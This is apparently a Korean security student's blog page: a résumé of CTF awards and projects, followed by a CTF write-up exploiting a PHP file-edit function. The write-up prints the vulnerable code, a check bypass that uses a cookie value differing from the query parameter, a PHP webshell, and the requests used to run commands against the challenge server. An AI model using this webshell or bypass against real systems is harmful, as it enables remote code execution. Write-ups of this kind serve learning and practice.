School
-   부산소프트웨어마이스터고등학교 - 2023. 03 ~ 

Education

-   KITRI White Hat School 2nd - 2024. 03 ~ 2024. 09
-   KITRI Best of the Best 13th - 2024. 07 ~ 

 

Awards

 

2022

- The Hacking Championship Junior 2022 - 장려상(9th) 🥉

- HISCON 2022 - 동상(3rd) 🥉

 

2023

- WACON CTF 2023 Junior - Finalist (Korea)

- CCE CTF 2023 Junior - Finalist (Korea)

- CYBER SECURITY CHALLENGE - Finalist (Korea)

- JBU CTF 2023 - 우수상(4th) 🥉

- The Hacking Championship Junior 2023 - 장려상(9th) 🥉

 

2024

- CCE CTF 2024 Junior - Finalist (Korea)

- YISF CTF 2024 - Finalist (Korea)

- ELECCON CTF 2024 final - 2st (Korea) 500,000₩ 🥈

- KOSPO CTF 2024 - 2st (Korea) 700,000₩ 🥈

- HCTF 2024 - 2st (Korea) 200,000₩ 🥈

- UHCON 2024 final - 2st (Korea) 1,000,000₩ 🥈

- LG U+ Security Hackathon 2024 final - 3rd (Korea) 5,000,000₩ 🥉

 

Project

- Mobile App Bughunting (WhiteHat School 2nd)

- Point Of Sale Vulnerability Analysis (Best of the Best 13th)

 

Open Source

- 2025.03.23-LangChain : uuid v1을 사용할 때 발생하는 잠재적인 보안 위협을 uuid v4로 수정 (기여)

public function edit() {

    if(!in_array($_REQUEST['type'], ['html', 'js', 'css'])) $this->util->alertExit("Invalid Type");

    if($_SERVER['REQUEST_METHOD'] == 'POST'){

        $this->file->createFile(ROOT . "user/{$this->userData[uuid]}/{$this->userData[uuid]}.{$_POST[type]}", $_POST['data']);
        $this->util->alertExit("Edit Success", 1, 2);

    }

    $tpl = new \utils\template(VIEWS . 'textarea.tpl');
    $tpl->render(["type" => $_GET['type'], "data" => $this->file->getFile(ROOT . "user/{$this->userData[uuid]}/{$this->userData[uuid]}.{$_GET[type]}")]);

}

pageController.php 파일의 edit 함수는 사용자 입력 값을 제대로 검증하지 않아 Path Traversal 취약점이 발생한다. 이를 통해 공격자는 서버에 임의의 파일을 생성하고 실행할 수 있다.

 

$_REQUEST['type']과 $_GET['type]의 값을 다르게 설정하여 검증을 우회하였다. 먼저, 쿠키에 type=css 값을 설정하여 Invalid Type 검증을 통과했다. 이후, URL에 $_GET['type'] 값을 php로 설정해 PHP Webshell을 작성할 수 있었다.

 

http://3.36.67.42/index.php?module=page&action=edit&type=php

<?php
if (isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>

 

http://3.36.67.42/user/1f36-3ace-f564-405d-b205/1f36-3ace-f564-405d-b205.php?cmd=/readflag

생성된 Webshell을 통해 명령어를 실행

 

Flag: lguplus2024{22b5662b0527d55728df2f292b1f3cc061ef73cfe5e64af88a7eeb284b9e825a}

'Hacking > Web' 카테고리의 다른 글

정보보안 수업 과제용  (0) 2025.03.20

+ Recent posts